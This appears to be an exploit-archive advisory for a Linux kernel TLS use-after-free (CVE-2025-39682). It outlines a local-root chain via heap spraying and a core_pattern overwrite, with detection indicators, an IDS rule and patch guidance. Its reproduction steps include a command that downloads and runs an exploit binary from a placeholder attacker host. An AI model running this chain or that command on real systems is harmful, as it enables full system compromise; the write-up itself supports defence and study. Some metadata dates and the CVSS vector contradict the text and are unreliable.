Linux Kernel TLS Zero-Length Record rx List Use-After-Free (CVE-2025-39682)
Published: 2026-11-27 • Researcher: Khoa Tran (GitHub khoatran107); Linux kernel TLS maintainers and NVD CNA
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2026-09-18. Federal remediation deadline 2026-09-21.
EPSS 2.2% · 83th percentile
- Severity
- Critical
- CVE
- CVE-2025-39682
- Category
- binary
- Affected product
- Linux kernel TLS subsystem (net/tls, kTLS)
- Affected versions
- NVD ranges: 6.0 to before 6.1.149; 6.2 to before 6.6.103; 6.7 to before 6.12.44; 6.13 to before 6.16.4. 6.17-rc1 and 6.17-rc2 are also listed. The exploit targets the 6.6-based kernelCTF mitigation-v4-6.6 image.
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-39682
- https://github.com/khoatran107/cve-2025-39682
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/tls?id=62708b9452f8eb77513115b17c4f8d1a22ebf843
- https://git.kernel.org/stable/c/2902c3ebcca52ca845c03182000e8d71d3a5196f
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-39682
- https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2025-10-14 |
| Author / Researcher | Khoa Tran (GitHub khoatran107); Linux kernel TLS maintainers and NVD CNA |
| CVE / Advisory | CVE-2025-39682 |
| Category | binary |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD) |
| Status | Weaponized (local root exploit demonstrated on kernelCTF mitigation-v4-6.6; 79/100 success rate claimed) |
| Tags | linux-kernel, ktls, tls, use-after-free, rx-list, zero-length-record, local-privilege-escalation, kernelCTF, CWE-754 |
| Related | N/A (upstream author describes it as a variant of CVE-2024-58239) |
Affected Target
| Field | Value |
|---|---|
| Software / System | Linux kernel TLS subsystem (net/tls, kTLS) |
| Versions Affected | NVD ranges: 6.0 to before 6.1.149; 6.2 to before 6.6.103; 6.7 to before 6.12.44; 6.13 to before 6.16.4. 6.17-rc1 and 6.17-rc2 are also listed. The exploit targets the 6.6-based kernelCTF mitigation-v4-6.6 image. |
| Language / Platform | C and C++ (static exploit binaries), x86_64 Linux; runs inside a kernelCTF QEMU guest |
| Authentication Required | No (unprivileged local user) |
| Network Access Required | Local only (loopback TCP socket pair created by the exploit) |
Summary
CVE-2025-39682 is a use-after-free in the Linux kernel TLS receive path. Each recvmsg call must return either contiguous DATA records or one non-DATA record, but a zero-length record delivered from the rx list can be decrypted with zero-copy and then treated as a queued skb that is no longer valid. An unprivileged local attacker who controls the peer side of a kTLS socket can send a crafted sequence of DATA and zero-length control records to free an skb while a stale reference keeps pointing at its page. The supplied exploit turns that stale reference into a page-level use-after-free, reclaims the page as a filp slab, leaks the KASLR base, overwrites the core pattern sysctl, and executes a setuid-root helper to obtain a root shell.
Vulnerability Details
Root Cause
The kTLS receive loop in net/tls/tls_sw.c breaks out of its processing loop when the record type changes and queues a pending decrypted record onto strp->rx_list so the next recvmsg can pick it up. Zero-copy decrypt is only permitted for DATA records, so the code assumed that it could never zero-copy a record and then discover a type change. The missed corner case is a zero-length record that is already sitting on rx_list: the record is consumed through the zero-copy path even though no skb is queued for it, leaving the anchor skb’s frag_list pointing at a skb that is subsequently freed. The fix commit, tls: fix handling of zero-length records on the rx_list, handles that case before the zero-copy decision.
Attack Vector
A local unprivileged process creates a connected TCP socket pair, sets the tls ULP on both ends, installs TLS 1.2 AES-CCM RX keys on the victim end, and acts as the peer that sends raw TLS records: an 11-byte DATA record, a zero-length control record, then another DATA record. Two recvmsg calls trigger the bug and free an skb while the anchor still references its page. The exploit then sprays skbuff heads, pipe buffers, and signalfd file objects to reclaim the freed page, reads the reclaimed filp slab to compute the kernel base, and overwrites the core_pattern sysctl with a pipe handler that runs a memfd copy of the exploit as root.
Impact
Local privilege escalation from an unprivileged user to root on an affected kernel. Successful exploitation gives full control of the kernel and the guest, defeats KASLR, and allows the attacker to read the kernelCTF flag and any other data on the system. The underlying bug is a kernel memory corruption primitive that could be adapted beyond the supplied challenge target.
Environment / Lab Setup
OS: Linux x86_64 host with KVM (the exploit is built for the kernelCTF mitigation-v4-6.6 guest)
Target: kernelCTF mitigation-v4-6.6 instance (6.6-based kernel) running under QEMU
Attacker: the exploit's client binary, downloaded into the guest and run as an unprivileged user
Tools: g++, make, qemu-system-x86_64, pwntools (test.py and calc_AC_rate.py), gdb (optional)Setup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Build the exploit — compile the client/server pair with the supplied Makefile.
Shell script1./compile.shStart the attacker-side record server — the server sends the pre-crafted TLS 1.2 AES-CCM records (DATA length 11, zero-length control, DATA length 11).
Shell script1./exploit/mitigation-v4-6.6/server --port 1111Boot the vulnerable guest — local_runner.sh and qemu.sh launch the kernelCTF mitigation-v4-6.6 image with the supplied flag file.
Shell script1./local_runner.sh mitigation-v4-6.6Run the client inside the guest — download and execute the client as the unprivileged user.
Shell script1cd /tmp && wget http://<attacker-ip>:3000/client && chmod +x ./client && ./client --ip <attacker-ip> --port 1111Trigger the bug and escalate — the client performs the two recvmsg calls, sprays to reclaim the freed page, overwrites core_pattern, and crashes a helper to spawn a root shell.
Shell script1# the exploit itself performs these steps; no manual kernel interaction is required
Exploit Code
See exploit/mitigation-v4-6.6/client.cpp for the full exploit, exploit/mitigation-v4-6.6/server.cpp for the record sender, and exploit/mitigation-v4-6.6/shared.h plus exploit/mitigation-v4-6.6/sprayer.h for the TLS helpers and skb sprayer. exploit/mitigation-v4-6.6/exploit.c is a smaller standalone trigger harness.
| |
Expected Output
| |
Detection & Indicators of Compromise
BUG: KASAN: use-after-free in tls_sw_recvmsg
Read of size 8 at addr ... by task client
Freed by task client
skb_release_data
tls_sw_recvmsg
$ cat /proc/sys/kernel/core_pattern
|/proc/%P/fd/666 %P
- Processes setting TCP_ULP to "tls" and exchanging zero-length control records on loopback
- Large numbers of signalfd file descriptors and AF_UNIX socket pairs created by one process
- A memfd copied from /proc/self/exe and mapped over file descriptor 666
- A crashing process whose core handler path is /proc/<pid>/fd/666SIEM / IDS Rule (example):
alert kernel any any -> any any (msg:"Possible CVE-2025-39682 kTLS rx_list UAF attempt"; \
content:"core_pattern"; \
content:"|2f 70 72 6f 63 2f 25 50 2f 66 64 2f 36 36 36|"; sid:9039682;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to 6.1.149, 6.6.103, 6.12.44, or 6.16.4 (or a later stable release containing commit 62708b9452f8). |
| Workaround | Disable kTLS for untrusted local users where feasible; on container hosts restrict CAP_NET_ADMIN and seccomp profiles that permit setsockopt TCP_ULP. |
| Config Hardening | Set kernel.core_pattern to a fixed root-owned handler that cannot be rewritten by unprivileged users, enable kernel.dmesg_restrict and kernel.kptr_restrict, and keep KASLR plus slab freelist hardening enabled. |
References
Notes
Auto-prepared 2026-11-27 from the watchlist record. Review verdict: genuine, non-malicious kernel exploit research. The repository contains the actual trigger, heap sprays, KASLR leak, and core_pattern overwrite; it targets the Google kernelCTF mitigation-v4-6.6 challenge instance, uses a placeholder flag file, and does not contain any credential theft, backdoor, or persistence code. License: the upstream repository ships no LICENSE file, so no license is asserted here; attribution is retained through upstream-README.md. Limitations: the kernelCTF release images (bzImage, rootfs_v3.img, ramdisk_v1.img, vmlinux) are not part of the repository, and the hardcoded SIGNALFD_FOPS and CORE_PATTERN offsets make the exploit specific to that build; the author reports a 79/100 success rate. The compiled client/server binaries and shared/exploit were not copied. No exploit code was executed during archive preparation.
| |